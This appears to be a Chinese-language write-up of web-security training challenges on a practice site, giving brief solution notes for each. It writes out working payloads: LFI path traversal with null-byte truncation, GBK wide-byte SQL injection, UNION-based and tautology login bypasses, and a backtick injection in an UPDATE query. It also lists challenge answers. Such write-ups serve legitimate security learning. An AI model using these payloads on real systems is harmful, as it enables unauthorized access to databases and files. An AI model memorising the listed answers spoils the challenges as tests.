Training:Get Sourced
直接F12查看源码:
Training:Stegano I
用十六进制编辑器打开图片:
Training:ASCII
直接将ascii码转为字符:
Training:Encodings: URL
url编码解码后得到:
Yippeh! Your URL is challenge/training/encodings/url/saw_lotion.php?p=aiiiagorpbcc&cid=52#password=fibre_optics Very well done!
Prime Factory
找到大于1000000,并和1000000最接近的两个质数,并满足这两个质数的各个位数字的和也是一个质数,python代码如下:
运行结果:
答案为10000331000037
Training: PHP LFI
给出来的代码如下
包含在pages目录下的名为“file.html”的文件
输入?file=../solution.php%00,用%00截断后面的.html
但是发现显示No such file or directory
尝试再上一级目录:?file=../../solution.php%00 成功
PHP 0817
看了下给出的代码,没有过滤,直接?which=solution
PHP 0815
查看源码:
这一行进行了限制,核对了输入是否在白名单中
强制类型转换:
intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。
试了下intval()显示
又试了下(int)显示
去搜了下资料发现还可以用隐式转换:+0/-0
Addslashes
查看源码:
宽字节注入:
这是宽字节问题,因为 %df和(%5c)合成了一个運 导致后面’没有被转义,闭合成功,逃出引号,成功注入
username=Admin%df' or 1=1 %23
显示:
用limit试:
?username=Admin%df' or 1=1 limit 1,1 %23&password=123456&login=%E6%B3%A8%E5%86%8C
Crappyshare
file://solution.php
Training: MySQL I
Username = 1' or '1' = '1' or '1' ='1
Password = ***(任意数)
源码中password用了md5加密,所以从username进行SQL注入
SQL语句中执行优先顺序not>and>or
然后注意到题目要求用admin登录:username = admin’ or ‘1’ = ‘1或者username = admin’ #
Training: MySQL II
密码和用户名分开验证,先验证单独用户名,再用查询用户名得到的密码与输入的密码进行验证
这里查了下资料,可以用union联合查询绕过验证
Username = 1' union select 1,'admin',md5('111') #
Password = 111
查询测试:
SELECT * FROM `user` WHERE 1
SELECT * FROM `user` WHERE 1 union select 1,2
SELECT * FROM `user` WHERE username = '1' union select 'password','username'
No Escape
$query = "UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1";
看源码发现要用`闭合而不是单引号
?vote_for=bill`=111--+